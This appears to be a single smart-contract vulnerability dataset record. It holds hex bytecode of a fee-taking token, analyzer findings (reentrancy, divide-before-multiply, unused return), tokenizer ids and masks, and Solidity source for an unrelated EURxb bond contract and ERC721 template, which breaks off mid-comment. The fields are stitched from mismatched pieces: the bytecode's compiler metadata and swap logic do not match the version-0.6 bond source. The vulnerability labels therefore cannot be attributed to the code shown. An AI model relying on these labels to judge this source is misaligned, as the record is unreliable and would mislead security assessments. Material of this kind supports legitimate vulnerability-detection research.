066b1a2bc2ec500006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611044929190612a40565b602060405180830381600087803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611096919061271d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611199576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119090612c07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120090612b47565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e79190612c47565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b90612be7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612b07565b60405180910390fd5b60008111611417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140e90612bc7565b60405180910390fd5b6001600a81905550600a600b8190555061142f6108f2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561149d575061146d6108f2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118e957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115465750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61154f57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115fa5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116505750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116685750600f60179054906101000a900460ff165b156117185760105481111561167c57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116c757600080fd5b601e426116d49190612d7d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118195750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561182f576001600a81905550600a600b819055505b600061183a3061074e565b9050600f60159054906101000a900460ff161580156118a75750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118bf5750600f60169054906101000a900460ff165b156118e7576118cd81611ad9565b600047905060008111156118e5576118e44761195d565b5b505b505b6118f4838383611dd3565b505050565b6000838311158290611941576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119389190612ae5565b60405180910390fd5b50600083856119509190612e5e565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119c060046119b2600586611de390919063ffffffff16565b611e2d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119eb573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600584611de390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b5050565b6000600854821115611ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa990612b27565b60405180910390fd5b6000611abc611ea8565b9050611ad18184611de390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b37577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b655781602001602082028036833780820191505090505b5090503081600081518110611ba3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4557600080fd5b505afa158015611c59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7d91906125c3565b81600181518110611cb7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d1e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611129565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d82959493929190612c62565b600060405180830381600087803b158015611d9c57600080fd5b505af1158015611db0573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dde838383611ed3565b505050565b6000611e2583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209e565b905092915050565b600080831415611e405760009050611ea2565b60008284611e4e9190612e04565b9050828482611e5d9190612dd3565b14611e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9490612b87565b60405180910390fd5b809150505b92915050565b6000806000611eb5612101565b91509150611ecc8183611de390919063ffffffff16565b9250505090565b600080600080600080611ee587612160565b955095509550955095509550611f4386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061202481612270565b61202e848361232d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208b9190612c47565b60405180910390a3505050505050505050565b600080831182906120e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dc9190612ae5565b60405180910390fd5b50600083856120f49190612dd3565b9050809150509392505050565b600080600060085490506000674563918244f400009050612135674563918244f40000600854611de390919063ffffffff16565b82101561215357600854674563918244f4000093509350505061215c565b81819350935050505b9091565b600080600080600080600080600061217d8a600a54600b54612367565b925092509250600061218d611ea8565b905060008060006121a08e8787876123fd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061220a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f9565b905092915050565b60008082846122219190612d7d565b905083811015612266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225d90612b67565b60405180910390fd5b8091505092915050565b600061227a611ea8565b905060006122918284611e2d90919063ffffffff16565b90506122e581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612342826008546121c890919063ffffffff16565b60088190555061235d8160095461221290919063ffffffff16565b6009819055505050565b6000806000806123936064612385888a611e2d90919063ffffffff16565b611de390919063ffffffff16565b905060006123bd60646123af888b611e2d90919063ffffffff16565b611de390919063ffffffff16565b905060006123e6826123d8858c6121c890919063ffffffff16565b6121c890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124168589611e2d90919063ffffffff16565b9050600061242d8689611e2d90919063ffffffff16565b905060006124448789611e2d90919063ffffffff16565b9050600061246d8261245f85876121c890919063ffffffff16565b6121c890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061249961249484612cfc565b612cd7565b905080838252602082019050828560208602820111156124b857600080fd5b60005b858110156124e857816124ce88826124f2565b8452602084019350602083019250506001810190506124bb565b5050509392505050565b600081359050612501816132e8565b92915050565b600081519050612516816132e8565b92915050565b600082601f83011261252d57600080fd5b813561253d848260208601612486565b91505092915050565b600081359050612555816132ff565b92915050565b60008151905061256a816132ff565b92915050565b60008135905061257f81613316565b92915050565b60008151905061259481613316565b92915050565b6000602082840312156125ac57600080fd5b60006125ba848285016124f2565b91505092915050565b6000602082840312156125d557600080fd5b60006125e384828501612507565b91505092915050565b600080604083850312156125ff57600080fd5b600061260d858286016124f2565b925050602061261e858286016124f2565b9150509250929050565b60008060006060848603121561263d57600080fd5b600061264b868287016124f2565b935050602061265c868287016124f2565b925050604061266d86828701612570565b9150509250925092565b6000806040838503121561268a57600080fd5b6000612698858286016124f2565b92505060206126a985828601612570565b9150509250929050565b6000602082840312156126c557600080fd5b600082013567ffffffffffffffff8111156126df57600080fd5b6126eb8482850161251c565b91505092915050565b60006020828403121561270657600080fd5b600061271484828501612546565b91505092915050565b60006020828403121561272f57600080fd5b600061273d8482850161255b565b91505092915050565b60008060006060848603121561275b57600080fd5b600061276986828701612585565b935050602061277a86828701612585565b925050604061278b86828701612585565b9150509250925092565b60006127a183836127ad565b60208301905092915050565b6127b681612e92565b82525050565b6127c581612e92565b82525050565b60006127d682612d38565b6127e08185612d5b565b93506127eb83612d28565b8060005b8381101561281c5781516128038882612795565b975061280e83612d4e565b9250506001810190506127ef565b5085935050505092915050565b61283281612ea4565b82525050565b61284181612ee7565b82525050565b600061285282612d43565b61285c8185612d6c565b935061286c818560208601612ef9565b61287581613033565b840191505092915050565b600061288d602383612d6c565b915061289882613044565b604082019050919050565b60006128b0602a83612d6c565b91506128bb82613093565b604082019050919050565b60006128d3602283612d6c565b91506128de826130e2565b604082019050919050565b60006128f6601b83612d6c565b915061290182613131565b602082019050919050565b6000612919602183612d6c565b91506129248261315a565b604082019050919050565b600061293c602083612d6c565b9150612947826131a9565b602082019050919050565b600061295f602983612d6c565b915061296a826131d2565b604082019050919050565b6000612982602583612d6c565b915061298d82613221565b604082019050919050565b60006129a5602483612d6c565b91506129b082613270565b604082019050919050565b60006129c8601783612d6c565b91506129d3826132bf565b602082019050919050565b6129e781612ed0565b82525050565b6129f681612eda565b82525050565b6000602082019050612a1160008301846127bc565b92915050565b6000604082019050612a2c60008301856127bc565b612a3960208301846127bc565b9392505050565b6000604082019050612a5560008301856127bc565b612a6260208301846129de565b9392505050565b600060c082019050612a7e60008301896127bc565b612a8b60208301886129de565b612a986040830187612838565b612aa56060830186612838565b612ab260808301856127bc565b612abf60a08301846129de565b979650505050505050565b6000602082019050612adf6000830184612829565b92915050565b60006020820190508181036000830152612aff8184612847565b905092915050565b60006020820190508181036000830152612b2081612880565b9050919050565b60006020820190508181036000830152612b40816128a3565b9050919050565b60006020820190508181036000830152612b60816128c6565b9050919050565b60006020820190508181036000830152612b80816128e9565b9050919050565b60006020820190508181036000830152612ba08161290c565b9050919050565b60006020820190508181036000830152612bc08161292f565b9050919050565b60006020820190508181036000830152612be081612952565b9050919050565b60006020820190508181036000830152612c0081612975565b9050919050565b60006020820190508181036000830152612c2081612998565b9050919050565b60006020820190508181036000830152612c40816129bb565b9050919050565b6000602082019050612c5c60008301846129de565b92915050565b600060a082019050612c7760008301886129de565b612c846020830187612838565b8181036040830152612c9681866127cb565b9050612ca560608301856127bc565b612cb260808301846129de565b9695505050505050565b6000602082019050612cd160008301846129ed565b92915050565b6000612ce1612cf2565b9050612ced8282612f2c565b919050565b6000604051905090565b600067ffffffffffffffff821115612d1757612d16613004565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d8882612ed0565b9150612d9383612ed0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612dc857612dc7612fa6565b5b828201905092915050565b6000612dde82612ed0565b9150612de983612ed0565b925082612df957612df8612fd5565b5b828204905092915050565b6000612e0f82612ed0565b9150612e1a83612ed0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e5357612e52612fa6565b5b828202905092915050565b6000612e6982612ed0565b9150612e7483612ed0565b925082821015612e8757612e86612fa6565b5b828203905092915050565b6000612e9d82612eb0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ef282612ed0565b9050919050565b60005b83811015612f17578082015181840152602081019050612efc565b83811115612f26576000848401525b50505050565b612f3582613033565b810181811067ffffffffffffffff82111715612f5457612f53613004565b5b80604052505050565b6000612f6882612ed0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f9b57612f9a612fa6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132f181612e92565b81146132fc57600080fd5b50565b61330881612ea4565b811461331357600080fd5b50565b61331f81612ed0565b811461332a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220882044ae514332fe8bd80aefa453596391a1de1961b29222b0ab88c045e5befb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 2683, 2487, 8586, 27421, 2487, 10354, 2850, 2683, 2475, 2546, 2581, 2497, 2487, 2546, 2487, 2278, 2475, 2278, 23632, 23632, 2497, 2575, 2546, 2629, 2050, 2692, 22907, 3207, 2509, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 2321, 1008, 1013, 1013, 1008, 1008, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 4958, 2483, 3207, 6914, 13068, 2015, 4958, 2072, 1005, 1055, 2139, 6914, 2377, 1045, 1006, 1002, 4958, 2072, 2487, 1007, 6160, 2000, 1996, 9270, 1997, 2139, 6914, 11657, 4485, 3597, 7076, 999, 999, 999, 999, 2023, 19204, 2003, 1037, 5049, 1998, 2591, 7551, 1012, 1022, 1003, 1997, 2169, 12598, 2097, 2022, 4015, 1006, 2004, 3802, 2232, 1007, 2000, 1996, 3396, 15882, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,688
0x95894E0294C21e5Aa38108bBa758d03743f1e88e
pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./templates/ERC721.sol"; import "./interfaces/IAllowList.sol"; import "./interfaces/IBondToken.sol"; import "./interfaces/IDDP.sol"; import "./interfaces/IEURxb.sol"; import "./templates/Initializable.sol"; import { TokenAccessRoles } from "./libraries/TokenAccessRoles.sol"; contract DDP is IDDP, AccessControl, Initializable { /// bond address address private _bond; address private _eurxb; address private _allowList; uint256 _claimPeriod = 30 days; constructor(address admin) public { // admin role for setClaimPeriod only _setupRole(TokenAccessRoles.admin(), admin); } /** * @dev configures DDP to use BondToken, EURxb contract and AllowList addresses * @param bond BondToken contract address * @param eurxb EURxb contract address * @param allowList AllowList address */ function configure(address bond, address eurxb, address allowList) external initializer { _bond = bond; _eurxb = eurxb; _allowList = allowList; } function setClaimPeriod(uint256 period) external override { require( hasRole(TokenAccessRoles.admin(), _msgSender()), "user is not admin"); _claimPeriod = period; } function deposit( uint256 tokenId, uint256 value, uint256 maturity, address to) external override { // only bond is allowed to deposit require(_msgSender() == _bond, "caller is not allowed to deposit"); // mint EURxb tokens: amount of EURxb FT tokens = value of Bond NFT token. IEURxb(_eurxb).mint(to, value); IEURxb(_eurxb).addNewMaturity(value, maturity); } /** * repays bond token, any user can call it */ function withdraw(uint256 tokenId) external { // check if token exists require( IBondToken(_bond).hasToken(tokenId), "bond token id does not exist"); address user = _msgSender(); // get token properties ( uint256 value, /* uint256 interest */, uint256 maturity ) = IBondToken(_bond) .getTokenInfo(tokenId); address owner = IERC721(_bond).ownerOf(tokenId); bool isOwner = owner == user; if (!isOwner) { require ( IAllowList(_allowList).isAllowedAccount(user), "user is not allowed"); require( block.timestamp > maturity + _claimPeriod, "claim period is not finished yet"); } // check if enough money to repay require(IERC20(_eurxb).balanceOf(user) >= value, "not enough EURxb to withdraw"); // burn EURxb IEURxb(_eurxb).burn(user, value); if (maturity > block.timestamp) { // only if maturity has not arrived yet IEURxb(_eurxb).removeMaturity(value, maturity); } if (!isOwner) { // if not owner, need to transfer ownership first IBondToken(_bond).safeTransferFrom(owner, user, tokenId); } // burn token IBondToken(_bond).burn(tokenId); } function getClaimPeriod() external view returns (uint256) { return _claimPeriod; } } pragma solidity >=0.6.0 <0.7.0; interface IAllowList { function isAllowedAccount(address account) external view returns (bool); } interface IAllowListChange { function allowAccount(address account) external; function disallowAccount(address account) external; } pragma solidity >=0.6.0 <0.7.0; /** * @dev allows to mint bond token from SecurityAssetToken or multiSignature account */ interface IBondToken { function safeTransferFrom( address from, address to, uint256 tokenId) external; function hasToken(uint256 tokenId) external view returns (bool); function getTokenInfo(uint256 tokenId) external view returns (uint256 value, uint256 interest, uint256 maturity); function mint( uint256 tokenId, address to, uint256 value, uint256 maturity ) external; function burn(uint256 tokenId) external; } pragma solidity >=0.6.0 <0.7.0; interface IDDP { function deposit( uint256 tokenId, uint256 value, uint256 maturity, address to ) external; function setClaimPeriod(uint256 claimPeriod) external; } pragma solidity >=0.6.0 <0.7.0; interface IEURxb { function mint(address account, uint256 value) external; function burn(address account, uint256 value) external; function addNewMaturity(uint256 amount, uint256 maturityEnd) external; function removeMaturity(uint256 amount, uint256 maturityEnd) external; } pragma solidity >=0.6.0 <0.7.0; library TokenAccessRoles { bytes32 private constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 private constant BURNER_ROLE = keccak256("BURNER_ROLE"); bytes32 private constant TRANSFERER_ROLE = keccak256("TRANSFERER_ROLE"); bytes32 private constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); function minter() public pure returns (bytes32) { return MINTER_ROLE; } function burner() public pure returns (bytes32) { return BURNER_ROLE; } function transferer() public pure returns (bytes32) { return TRANSFERER_ROLE; } function admin() public pure returns (bytes32) { return ADMIN_ROLE; } } pragma solidity >= 0.6.0 < 0.7.0; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/introspection/ERC165.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/utils/EnumerableMap.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom( from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer( from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used 